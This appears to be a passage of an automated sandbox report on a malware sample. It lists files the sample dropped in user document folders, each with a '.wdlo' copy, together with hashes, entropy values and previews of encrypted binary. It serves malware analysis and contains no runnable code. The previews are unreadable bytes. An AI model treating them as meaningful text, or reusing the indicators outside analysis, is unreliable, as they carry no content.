Preview:	KLIZUu.....tfZ}+O.^&%.@M.0.)7.@.....)a9'.R..\|<._..3.kg%c...;q\v.Vc..t.r.B....yz.`.c...........8L .P...)..Q)YH.m....0C-0m...y.H+....e..&Z......\...~.t.....48..Q~._N.4..;......#...^..r...CJm?i.+V....0^..>.B.:.t.B.-._!PQ0?...W...]m...C"[x .P...n...G.......N...jr....@..`H.`...#%.'....... P...w.6.. ...9...OLX../.o).+uHXIp...D<X...n.~.trPR........;`M......c~.^...........:5...F.......L...F(......t.j.qu..z..G0-.T..Q..s.ZV...g.....`...L....`.K'tM.&..U..<r...~......U.C.!IK..+%O....[.....f..05..\|8.]I..vO.<.....#.QN.....-Bg.o.../[xr...$.7.....w....2Y.\|..b.$x#.3t^.\...'n...&..ck.[.....I..C%..T.2g.1G...c s....I2...k...x7...Y...`]-.{.C..]......].Y...\...t.......E..d?.....V.8d.W......I....c.E..J<.......G9.i!-..$....w.fp.nx........3.c..M.8.........o.v..r....BB..".'(....1dF{...1.Ck.N..cVg.t.............,.\...Y.9X{'Y2.}...Y....=..r 0....X.y..k...@~0..YHHL..O:...5...C.z..?.\...!....i3Kv,(.J.,G.....B.%.....qT......O..uq."..9.\]..><.....;Tw......Xx...@{>Wq..E

C:\Users\user\Documents\BJZFPPWAPT\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849069302123022
Encrypted:	false
SSDEEP:	24:bv0jePIdQJveUZy9E2x5JrXH5vNj7ukRs1i3h2gFigvAwQ9igtPTU7RKL3zbD:QiPIIhkEm5JrXHDukB3h2gPvY/bU7RKP
MD5:	E3B37CDB5278F26615297C57204A40DE
SHA1:	F4F48B50A950F87CEC520B8265BFE188CBAA1B03
SHA-256:	E4A045F932B47EBB25A09A5A2D9E2685BF8CD3E18104C6CEC69B5B67F2D32D7C
SHA-512:	D6D34778F890F8A8DCCADC38800291DE70E7E73DDCBE4607BC4900CF19FB28D3E5FDFEB288B7CF69B8FD97DD47CAF72C682B21F326DF5E730256E2D20F981CD3
Malicious:	false
Preview:	KLIZUu.....tfZ}+O.^&%.@M.0.)7.@.....)a9'.R..\|<._..3.kg%c...;q\v.Vc..t.r.B....yz.`.c...........8L .P...)..Q)YH.m....0C-0m...y.H+....e..&Z......\...~.t.....48..Q~._N.4..;......#...^..r...CJm?i.+V....0^..>.B.:.t.B.-._!PQ0?...W...]m...C"[x .P...n...G.......N...jr....@..`H.`...#%.'....... P...w.6.. ...9...OLX../.o).+uHXIp...D<X...n.~.trPR........;`M......c~.^...........:5...F.......L...F(......t.j.qu..z..G0-.T..Q..s.ZV...g.....`...L....`.K'tM.&..U..<r...~......U.C.!IK..+%O....[.....f..05..\|8.]I..vO.<.....#.QN.....-Bg.o.../[xr...$.7.....w....2Y.\|..b.$x#.3t^.\...'n...&..ck.[.....I..C%..T.2g.1G...c s....I2...k...x7...Y...`]-.{.C..]......].Y...\...t.......E..d?.....V.8d.W......I....c.E..J<.......G9.i!-..$....w.fp.nx........3.c..M.8.........o.v..r....BB..".'(....1dF{...1.Ck.N..cVg.t.............,.\...Y.9X{'Y2.}...Y....=..r 0....X.y..k...@~0..YHHL..O:...5...C.z..?.\...!....i3Kv,(.J.,G.....B.%.....qT......O..uq."..9.\]..><.....;Tw......Xx...@{>Wq..E

C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86512227790061
Encrypted:	false
SSDEEP:	24:ifAklSyHF+MPFVGapLOsHQI7Q1g+SyuD1sK3pf4xOpB/zIH1DgByS+IMT3zbD:ifAs3LPFcaeI7IuZsK3pAkpB/zG8BA3D
MD5:	4FB30CFEB42066FECE19156DBC6E024E
SHA1:	BDE679874ECE9A230CC6B3866AD596764C12E172
SHA-256:	D82826A792BF36067CF1BB83471310DF70C7B412B4A6029DE42EFE512AB152B2
SHA-512:	64B8C4DEA49088D02E5F2DDB3C46D58884644D82318F6734F026752213ADCA224D121B963BA6279CA28C6858C8CF1D84039C51C6A109707D22A6407A2FEE088C
Malicious:	false
Preview:	NYMMP.......I.b..X...u.b..e.w.T.o.KW......D...c...q.yL...f.<..v....e./...O.@...Um^.....u..S....]k.I..$.o......"G..".\|z.\|=.<..}v..Ew)e....;..F.y...q...@.....M.....+iyd.]J...O.._.[..~^..iL....DSQ...Z-..H<.8.b...r.....<l..Yk .#$.....o....2...-...`.`L....p.:jf.....#i..G...._..(..E.!..4s@..x,6..........=y....."E...0...7.....c.D/....M.U..D.K..%.B.nJB...0.....V_q.&SiEV0.2.....t.z..cg ...~ ......Z....I.z..D......j.]J.E..+.....T60.........~V.[.;.... .d.0.._Q(..G..SD.c.=5....D...P.:......@.ERm.....=....o..M1$.}.....0...^.Y$Q(Is..+....=...w\.>.s....K.R.$c.n..t.<.OE.......+..E.{hw.C.g...I.o...,c....t.]...\...Z..........DG..;:...t...^.d.t..T....@.en.!;...]. ...z..V...@......}.}N...+.v.;...2;.G.8../.#D-.'...B....."\|.....(.......w.\..\........^.fE.j)..X./...%.....P.l..#G.....3..l.r.sBe=.~x:....`)@.@\sbg..]h$W..!qZ.^pw.9.dt....f.'.U.y.A6...#..uS..9..C.E..<.(T.65...5d.%ha)._.K..N.5k.F...De.. 0..5.)...M.*...;.J5E....%.[8q...1.............>...Q.....

C:\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86512227790061
Encrypted:	false
SSDEEP:	24:ifAklSyHF+MPFVGapLOsHQI7Q1g+SyuD1sK3pf4xOpB/zIH1DgByS+IMT3zbD:ifAs3LPFcaeI7IuZsK3pAkpB/zG8BA3D
MD5:	4FB30CFEB42066FECE19156DBC6E024E
SHA1:	BDE679874ECE9A230CC6B3866AD596764C12E172
SHA-256:	D82826A792BF36067CF1BB83471310DF70C7B412B4A6029DE42EFE512AB152B2
SHA-512:	64B8C4DEA49088D02E5F2DDB3C46D58884644D82318F6734F026752213ADCA224D121B963BA6279CA28C6858C8CF1D84039C51C6A109707D22A6407A2FEE088C
Malicious:	false
Preview:	NYMMP.......I.b..X...u.b..e.w.T.o.KW......D...c...q.yL...f.<..v....e./...O.@...Um^.....u..S....]k.I..$.o......"G..".\|z.\|=.<..}v..Ew)e....;..F.y...q...@.....M.....+iyd.]J...O.._.[..~^..iL....DSQ...Z-..H<.8.b...r.....<l..Yk .#$.....o....2...-...`.`L....p.:jf.....#i..G...._..(..E.!..4s@..x,6..........=y....."E...0...7.....c.D/....M.U..D.K..%.B.nJB...0.....V_q.&SiEV0.2.....t.z..cg ...~ ......Z....I.z..D......j.]J.E..+.....T60.........~V.[.;.... .d.0.._Q(..G..SD.c.=5....D...P.:......@.ERm.....=....o..M1$.}.....0...^.Y$Q(Is..+....=...w\.>.s....K.R.$c.n..t.<.OE.......+..E.{hw.C.g...I.o...,c....t.]...\...Z..........DG..;:...t...^.d.t..T....@.en.!;...]. ...z..V...@......}.}N...+.v.;...2;.G.8../.#D-.'...B....."\|.....(.......w.\..\........^.fE.j)..X./...%.....P.l..#G.....3..l.r.sBe=.~x:....`)@.@\sbg..]h$W..!qZ.^pw.9.dt....f.'.U.y.A6...#..uS..9..C.E..<.(T.65...5d.%ha)._.K..N.5k.F...De.. 0..5.)...M.*...;.J5E....%.[8q...1.............>...Q.....

C:\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849497482850361
Encrypted:	false
SSDEEP:	24:0v66OXUN8tWe0kYS7WcVn37xD9CbHZPHsRawCiZCZCcdK7DIbAh3zbD:0SRXA8tW1S7WED9GxMRnCiyKXIW3nD
MD5:	1ACBF2FE8C9A3FD9E87904C19F7DCAC4
SHA1:	4195957494739B848C092115F23C1530826751D1
SHA-256:	FA258379F21EEFD1A7733C9EDD5C46B3017A878F31D1116DEB9B9655C7B02C54
SHA-512:	98A90EAD37698693BB2C6A38614876285F1EAA135983F5D6D0AAA1EF3C6889CB6B46B9751854BB875FD4B4E5E8C33C1E70AE1BA15FAB3868C305B7CE21745C2D
Malicious:	false
Preview:	ZGGKN@~3..yvA...j....q....a..-.P....X .B.@.=.:1...8.. ..P......p..........S6.[.D..#0...(z...^]....}(.".sh.;..4i~WC...S..g...l%..^Fp.Q..e..6.(....[.&..+MfX.L/.i.U...t-YOn.C..A.<-..O.H.l~./.}..I.AE.[...C........c%.o\~OC ....K.%..9.F......J....Xob...>.\|.)..Ql...e.mn..&A...q.t......n..p..<...W..g.O.I2.r.v......Y...n..c#/..)3.<..#>q;.B.9......o...nbW......w.>#>.U...k.O()..wD./.2.QZ.g.K................v..P.....q....}...1;.......j..6].gZ...._.".m..r^..."z....[.Q..\..:.....8.%..$N.2R)d..Z{.r.9<.w#U....`.iC.8....."&.,.=..^.D}r.ZD......q.....)p....1#..jph.M:.0.(J..m.E.N...Y..U4_.O.v....~.^.f8...+w..w...%.@nV.].......Z.NJ6.`x+^U..3c....n.......l.ik.n...........f.J8NvwDe!f..Q..y...V.2...c.\O6..a.Z.-..H...Y\|...kn\..X..f..?......a.]eD..d{..r.AQ...M.>...0B.9....lJ....mT....4.7)..x13..}.\.,..{.R.&.?.Y.Pa..7U.....Q.#r...S%.bM=.+)N....+.Z.{:L.O..[.....C7f..[8.PA.......:..'.I!....'..@....{..L.....A2B.P.j..].D.;^+.......\|..\|...xA...V~..-.T.......i...e.~...

C:\Users\user\Documents\BJZFPPWAPT\ZGGKNSUKOP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849497482850361
Encrypted:	false
SSDEEP:	24:0v66OXUN8tWe0kYS7WcVn37xD9CbHZPHsRawCiZCZCcdK7DIbAh3zbD:0SRXA8tW1S7WED9GxMRnCiyKXIW3nD
MD5:	1ACBF2FE8C9A3FD9E87904C19F7DCAC4
SHA1:	4195957494739B848C092115F23C1530826751D1
SHA-256:	FA258379F21EEFD1A7733C9EDD5C46B3017A878F31D1116DEB9B9655C7B02C54
SHA-512:	98A90EAD37698693BB2C6A38614876285F1EAA135983F5D6D0AAA1EF3C6889CB6B46B9751854BB875FD4B4E5E8C33C1E70AE1BA15FAB3868C305B7CE21745C2D
Malicious:	false
Preview:	ZGGKN@~3..yvA...j....q....a..-.P....X .B.@.=.:1...8.. ..P......p..........S6.[.D..#0...(z...^]....}(.".sh.;..4i~WC...S..g...l%..^Fp.Q..e..6.(....[.&..+MfX.L/.i.U...t-YOn.C..A.<-..O.H.l~./.}..I.AE.[...C........c%.o\~OC ....K.%..9.F......J....Xob...>.\|.)..Ql...e.mn..&A...q.t......n..p..<...W..g.O.I2.r.v......Y...n..c#/..)3.<..#>q;.B.9......o...nbW......w.>#>.U...k.O()..wD./.2.QZ.g.K................v..P.....q....}...1;.......j..6].gZ...._.".m..r^..."z....[.Q..\..:.....8.%..$N.2R)d..Z{.r.9<.w#U....`.iC.8....."&.,.=..^.D}r.ZD......q.....)p....1#..jph.M:.0.(J..m.E.N...Y..U4_.O.v....~.^.f8...+w..w...%.@nV.].......Z.NJ6.`x+^U..3c....n.......l.ik.n...........f.J8NvwDe!f..Q..y...V.2...c.\O6..a.Z.-..H...Y\|...kn\..X..f..?......a.]eD..d{..r.AQ...M.>...0B.9....lJ....mT....4.7)..x13..}.\.,..{.R.&.?.Y.Pa..7U.....Q.#r...S%.bM=.+)N....+.Z.{:L.O..[.....C7f..[8.PA.......:..'.I!....'..@....{..L.....A2B.P.j..].D.;^+.......\|..\|...xA...V~..-.T.......i...e.~...

C:\Users\user\Documents\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860473989775576
Encrypted:	false
SSDEEP:	24:Aqn5/B4oZo/VpsiSLMiZCHi4F0Schz99hVJk1f9mGwzpreFStx3zbD:75/OwEVpsHhZl5p9brkF9NieFSL3nD
MD5:	549E7C1E8C7E6E037991155A07C6BE2A
SHA1:	9F83EC7F8D2BDD81F1321DABDBCBFFEA3108B7C1
SHA-256:	7F9362F838326F05AA73BB5A4364BC6696A45489D6F1A0BDB133FD455932CA35
SHA-512:	208108BFBBA55B622A892FED3EEBCD411222DABC5B33508F9FC65720E2CD89035068298585DD3C16F9D645EFC056DCD37317C37D21E0DA6B01BD4A224059477D
Malicious:	false
Preview:	DUUDT..VI..-2..zj.U.I.6...f9.+....o.EE.....S,p.1-.~.$. 2.5..m.Wpp..Q\..+.2.m..9.H9u...j>\E..e...........k...K..t...Q9E.O<..8...P+nP.v;.a.4.o.....<..F.".O.?..1.......8)...J".R.AT>..q........)C@..%.-....7FV....=o(0.......0...^G_.. x.O...e......=..5{.B..u.....x]MJ.....2.b.\|.~....lYE.......k..=..g.C....\|A....XD.K..6..Z...I. $4rW1gn.w.u....daA.b.i$..1..V.^8."I4....bv..a..Q.(\|LM...j.[f...N.......T..a,...........&..EG......].....3.vt.....!vh....J.a.G......4.......C..,..)O.M.Q}0.s.}.....@.J..v.2c.V.....Z0..4J...m6MW.(.0......zf..'2...j~..G..[.._..D.[.........$...^.}..}8>...............3oyB.....#....0e...U,..j.m?.Nu.Fl.K>.7.v..l.R.....^......o...... .6.]m.y/~.{....`.,<....j1Kt...~.D.~=-%m.[.....l.*.n...d....h.........I..9.~.)...e..f3:!........7....}_\|.._!.d....C~m..`6...'..,..-.....QO!.x...E...........].D...ka.'.;C;...Yfo...Sfz....X.x..^{O..#...m..X.bhaE&..SHB.B..{.qkj.b...Yim...5.\..i....O.#.L...9y......S5.8..q...G..........O.a..S.c.......a...

C:\Users\user\Documents\DUUDTUBZFW.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860473989775576
Encrypted:	false
SSDEEP:	24:Aqn5/B4oZo/VpsiSLMiZCHi4F0Schz99hVJk1f9mGwzpreFStx3zbD:75/OwEVpsHhZl5p9brkF9NieFSL3nD
MD5:	549E7C1E8C7E6E037991155A07C6BE2A
SHA1:	9F83EC7F8D2BDD81F1321DABDBCBFFEA3108B7C1
SHA-256:	7F9362F838326F05AA73BB5A4364BC6696A45489D6F1A0BDB133FD455932CA35
SHA-512:	208108BFBBA55B622A892FED3EEBCD411222DABC5B33508F9FC65720E2CD89035068298585DD3C16F9D645EFC056DCD37317C37D21E0DA6B01BD4A224059477D
Malicious:	false
Preview:	DUUDT..VI..-2..zj.U.I.6...f9.+....o.EE.....S,p.1-.~.$. 2.5..m.Wpp..Q\..+.2.m..9.H9u...j>\E..e...........k...K..t...Q9E.O<..8...P+nP.v;.a.4.o.....<..F.".O.?..1.......8)...J".R.AT>..q........)C@..%.-....7FV....=o(0.......0...^G_.. x.O...e......=..5{.B..u.....x]MJ.....2.b.\|.~....lYE.......k..=..g.C....\|A....XD.K..6..Z...I. $4rW1gn.w.u....daA.b.i$..1..V.^8."I4....bv..a..Q.(\|LM...j.[f...N.......T..a,...........&..EG......].....3.vt.....!vh....J.a.G......4.......C..,..)O.M.Q}0.s.}.....@.J..v.2c.V.....Z0..4J...m6MW.(.0......zf..'2...j~..G..[.._..D.[.........$...^.}..}8>...............3oyB.....#....0e...U,..j.m?.Nu.Fl.K>.7.v..l.R.....^......o...... .6.]m.y/~.{....`.,<....j1Kt...~.D.~=-%m.[.....l.*.n...d....h.........I..9.~.)...e..f3:!........7....}_\|.._!.d....C~m..`6...'..,..-.....QO!.x...E...........].D...ka.'.;C;...Yfo...Sfz....X.x..^{O..#...m..X.bhaE&..SHB.B..{.qkj.b...Yim...5.\..i....O.#.L...9y......S5.8..q...G..........O.a..S.c.......a...

C:\Users\user\Documents\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841136158783028
Encrypted:	false
SSDEEP:	24:dt5SsaGpQnU/exAGDQ8Tkje50cfgEGoWbiWmnPn/S82661QhsvD3zbD:j3p5I/DQ8T73gXBiWgPp2T1bvD3nD
MD5:	4170A9A8514F8DA4A29E5C06B17BB9C4
SHA1:	06B645861DBFD690CA59FB001D071F49E4F292FC
SHA-256:	77EBD5F0FEF0A6E904AB410DCE514DD0EFEB30EC7976EDD7732A3314B7F18A2E
SHA-512:	523F8CF75A4326A01012BB8925A3145F6BA8AA202E35DAB90EC662A213AA3E00B31EE4BE834A182066E17B441C48CB92742D948C48D16483868ADAC7577597FC
Malicious:	false
Preview:	DUUDT..^%.P.mr...5lM\|[$.c... .....ME......k..%I.e.-,{.y....\|.]...bAy..!....8..n._.~..Q..9.Q.5.}...W.....B.......?k3.........Z..mJ,...1?.~..;.B.V.5h..3..%..Y..k...Y...ZK.;R./......$.E..!........e..@.....5w K".H....:0j./5.TD.V.b.\|5.`..Pb....?.........z.....#..y.S.cl..(y..-....n.......`.Vi..~S..@x.Ll...U....dG..I...5...z..6...&\|.7.fV9.<...<...e..XP.@T+:.A&..q]R/.K?D+.EE..]..NGC-.R....,.@Z.R..-.._.x..Dc.^.F...w..w..>.F......H.6.No...i....f..."7Az...f..D.p.\... C..]...Hi.M.....,p.5..f(......_.....!.'......]rnY_..oJ..JM....lA....2..i.O.~j,.}.....>...b.r...A..3...&.:.......H.@p#..A{..u....ZY?r.[.?g.Of.....D\@.6.........X.....^^B...."....#hc.j..g_..m.=9..'0..1.S.M....~.7.`.....?t.s..&.c...4t.."M..&%.<]m..5Y<u....,.>.1x.`....Ag.....b~.Fc...P.2Gv".;..xF...{y.b11..3...n7.kR....H........P#.c2....kA.Xf.6pd.Z./..H...Y...rG.1.3...'..:Z.{.....k..f^...._..T.....Q.2.>t.6.j..,P...`q.xq.....I!../s.3.T0..4....L..e. d.T.zp#...Gg.l!..^..3.2....d=.....(.w&zDn@..k.

C:\Users\user\Documents\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841136158783028
Encrypted:	false
SSDEEP:	24:dt5SsaGpQnU/exAGDQ8Tkje50cfgEGoWbiWmnPn/S82661QhsvD3zbD:j3p5I/DQ8T73gXBiWgPp2T1bvD3nD
MD5:	4170A9A8514F8DA4A29E5C06B17BB9C4
SHA1:	06B645861DBFD690CA59FB001D071F49E4F292FC
SHA-256:	77EBD5F0FEF0A6E904AB410DCE514DD0EFEB30EC7976EDD7732A3314B7F18A2E
SHA-512:	523F8CF75A4326A01012BB8925A3145F6BA8AA202E35DAB90EC662A213AA3E00B31EE4BE834A182066E17B441C48CB92742D948C48D16483868ADAC7577597FC
Malicious:	false
Preview:	DUUDT..^%.P.mr...5lM\|[$.c... .....ME......k..%I.e.-,{.y....\|.]...bAy..!....8..n._.~..Q..9.Q.5.}...W.....B.......?k3.........Z..mJ,...1?.~..;.B.V.5h..3..%..Y..k...Y...ZK.;R./......$.E..!........e..@.....5w K".H....:0j./5.TD.V.b.\|5.`..Pb....?.........z.....#..y.S.cl..(y..-....n.......`.Vi..~S..@x.Ll...U....dG..I...5...z..6...&\|.7.fV9.<...<...e..XP.@T+:.A&..q]R/.K?D+.EE..]..NGC-.R....,.@Z.R..-.._.x..Dc.^.F...w..w..>.F......H.6.No...i....f..."7Az...f..D.p.\... C..]...Hi.M.....,p.5..f(......_.....!.'......]rnY_..oJ..JM....lA....2..i.O.~j,.}.....>...b.r...A..3...&.:.......H.@p#..A{..u....ZY?r.[.?g.Of.....D\@.6.........X.....^^B...."....#hc.j..g_..m.=9..'0..1.S.M....~.7.`.....?t.s..&.c...4t.."M..&%.<]m..5Y<u....,.>.1x.`....Ag.....b~.Fc...P.2Gv".;..xF...{y.b11..3...n7.kR....H........P#.c2....kA.Xf.6pd.Z./..H...Y...rG.1.3...'..:Z.{.....k..f^...._..T.....Q.2.>t.6.j..,P...`q.xq.....I!../s.3.T0..4....L..e. d.T.zp#...Gg.l!..^..3.2....d=.....(.w&zDn@..k.

C:\Users\user\Documents\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8629807467391295
Encrypted:	false
SSDEEP:	24:mDkLq+FgB70fyl5mvpG+o+IskzHhQwPuCF4Su8yte0q9W+733zbD:tHil5epGDzTaUF4AyE0q9WC33nD
MD5:	1B1DC499BF7624735D556F9A002A9C73
SHA1:	F520F2C08E5277411655512BE57658B2DDBB5F1C
SHA-256:	BA9D5E064A575EFBC96D7713C6624633F51025AAE5E4EB8686E9405697CB461E
SHA-512:	E634ACBE87E617A33DE6E2CE0AA4F474BD08F3063C1170ADBBE957C7BD3404DA24AA055CF4290EAF00E3C3D3FFB591A8DF308BACB334C4FF554EEB3E0B9A5EE4
Malicious:	false
Preview:	EEGWX...i..h.-..........[.2........k_a.R...).(.4 ..q.l.dZ..v...B.g+.q.Mx.@7.....Y....~..r......V....?IJD>..0.tTFC..X..l..<.mL..Pa..d...p..._.-....i..M.f~;.......z..=...0...R7....~...G7...bu...aX.[{`.pG.1....q.....D,yr.f"...N`.;.....7..(.......AR3.;.]x.a...,.S.[.n7}.} .W.fM.F.V...1.;..`tl.......<.k.lPI....uA...X1#....V...WC...'#.}2";..0.....'.6._j..,/..r....y\|R.}..Uc<t/..H.\.........Hq6.u..;X.m...c...'..w......kap..d,'L...Z..u..J...U.-0\T....!`.v....A....x. .5..N..k.z.k.H...`....1...Z..)..C...c.x-p.O<.&..=G...N!.......i+...P...}.8..KD.[..x..{..3.X:.....!.M.?...+...!@>.Vm....a......c.........sX..R(..3....7...+...js+.G...O5..o..L1..k.p...J..z...c@\........z...<...6.....S...lDp..$.0P.!.....v.~.Q>~I...C.n.<Y..^R.F...1>..>...TZ...6=B.5......I.e...l.-....>].Z_B+.=l..&.tB....b.D....(....a#..6E..t..sh.^....H..pd.z7D.....g/.p.f.....G;..........0..o...v..l....g......8.9\...B..`.'..5.u....^...U[.+.zo.I..tc..R._....z=B.S..k..]&<g.7.!...?.YS........c

C:\Users\user\Documents\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8629807467391295
Encrypted:	false
SSDEEP:	24:mDkLq+FgB70fyl5mvpG+o+IskzHhQwPuCF4Su8yte0q9W+733zbD:tHil5epGDzTaUF4AyE0q9WC33nD
MD5:	1B1DC499BF7624735D556F9A002A9C73
SHA1:	F520F2C08E5277411655512BE57658B2DDBB5F1C
SHA-256:	BA9D5E064A575EFBC96D7713C6624633F51025AAE5E4EB8686E9405697CB461E
SHA-512:	E634ACBE87E617A33DE6E2CE0AA4F474BD08F3063C1170ADBBE957C7BD3404DA24AA055CF4290EAF00E3C3D3FFB591A8DF308BACB334C4FF554EEB3E0B9A5EE4
Malicious:	false
Preview:	EEGWX...i..h.-..........[.2........k_a.R...).(.4 ..q.l.dZ..v...B.g+.q.Mx.@7.....Y....~..r......V....?IJD>..0.tTFC..X..l..<.mL..Pa..d...p..._.-....i..M.f~;.......z..=...0...R7....~...G7...bu...aX.[{`.pG.1....q.....D,yr.f"...N`.;.....7..(.......AR3.;.]x.a...,.S.[.n7}.} .W.fM.F.V...1.;..`tl.......<.k.lPI....uA...X1#....V...WC...'#.}2";..0.....'.6._j..,/..r....y\|R.}..Uc<t/..H.\.........Hq6.u..;X.m...c...'..w......kap..d,'L...Z..u..J...U.-0\T....!`.v....A....x. .5..N..k.z.k.H...`....1...Z..)..C...c.x-p.O<.&..=G...N!.......i+...P...}.8..KD.[..x..{..3.X:.....!.M.?...+...!@>.Vm....a......c.........sX..R(..3....7...+...js+.G...O5..o..L1..k.p...J..z...c@\........z...<...6.....S...lDp..$.0P.!.....v.~.Q>~I...C.n.<Y..^R.F...1>..>...TZ...6=B.5......I.e...l.-....>].Z_B+.=l..&.tB....b.D....(....a#..6E..t..sh.^....H..pd.z7D.....g/.p.f.....G;..........0..o...v..l....g......8.9\...B..`.'..5.u....^...U[.+.zo.I..tc..R._....z=B.S..k..]&<g.7.!...?.YS........c

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870147266627336
Encrypted:	false
SSDEEP:	24:9Hhf4GDSWVA3RgVC19uNaEtIF4ixXgJdkPGOnZbyqCfmXnn3zbD:9BfRSWVA3+V+uNaEGJxwJdkPGOnQqCf0
MD5:	958527CF77A36FFAFEAB725AEA4B3379
SHA1:	4B8808341324E1CBAC84424C354BC79C11F2D46D
SHA-256:	59863174EEF1D5D6052B46D5A2BE676196C761DD0BC94B837D3ED4B181774E1A
SHA-512:	1CE88FAAF2DFE6A8505DA48E29D14BE9AECB9AC055C188D4F08257A543CF1F151FDA59C41894FA090A65CA0CDD12AE0F0C6F18C99F9EBBDF5DC0747C26DA8F2A
Malicious:	false
Preview:	BJZFPn.....e...l.+...V..Y.~[..U..=.UM...X..E.@.I.=.QW.P......I.;..6N?6&...2..p......YV2c..Q..9..=.w.5.......K..K.Y.......z.y.%D........Yn.../..%e.....j...1x.. @.v.}Eb8EX.I..];.)X&3k.....w...]*3HDRWp...>...y.J.....i{;...!...q.^-w.dar......e%.:..}......@t&...G..w..\|....Y`r.L...z....0J.l....9...m.l....u..D....t...x.[.....uF\|5.n,{..4.......vy2Q.........D..$.^.C....E:LDE.l(....2z...y%.Z.2...:.....P.....Y.r.I.wd.7.^.I. ...]a...l.ATy2p..t.ua........._.p..!.e,r-.. .%...k..A.5.B...I2......nB...X..L......~q]....-........R61...5..C...WY~.nWu.....h..:Vz.BG....7q`.....C`dk.!.V...c_.Dxn~.....0..7...+....1"....C9I..+.7.7NCb.3f....V.....X;_..7.Z....b.5B.]......,YZz.......=R..#Z.Py.L..@../.......Y.../6....GB{.,..R...(..].Zy...DV.S.z.}f.1s.EGg.....Py...q..~.96O..(..6..iK.?I7s._!.@..T.dHi...Zm......F.L.,....F..Qr3I.@5...;.R..'..I:N.zW..C.....h.pO@....T(..cS....%...w;)F..(.`...E7.2.u.Q7.>.S....bY...c...w/P...!...%X..+"[.D&...e]...6...I..D.:]... ...b..!..L-....

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.870147266627336
Encrypted:	false
SSDEEP:	24:9Hhf4GDSWVA3RgVC19uNaEtIF4ixXgJdkPGOnZbyqCfmXnn3zbD:9BfRSWVA3+V+uNaEGJxwJdkPGOnQqCf0
MD5:	958527CF77A36FFAFEAB725AEA4B3379
SHA1:	4B8808341324E1CBAC84424C354BC79C11F2D46D
SHA-256:	59863174EEF1D5D6052B46D5A2BE676196C761DD0BC94B837D3ED4B181774E1A
SHA-512:	1CE88FAAF2DFE6A8505DA48E29D14BE9AECB9AC055C188D4F08257A543CF1F151FDA59C41894FA090A65CA0CDD12AE0F0C6F18C99F9EBBDF5DC0747C26DA8F2A
Malicious:	false
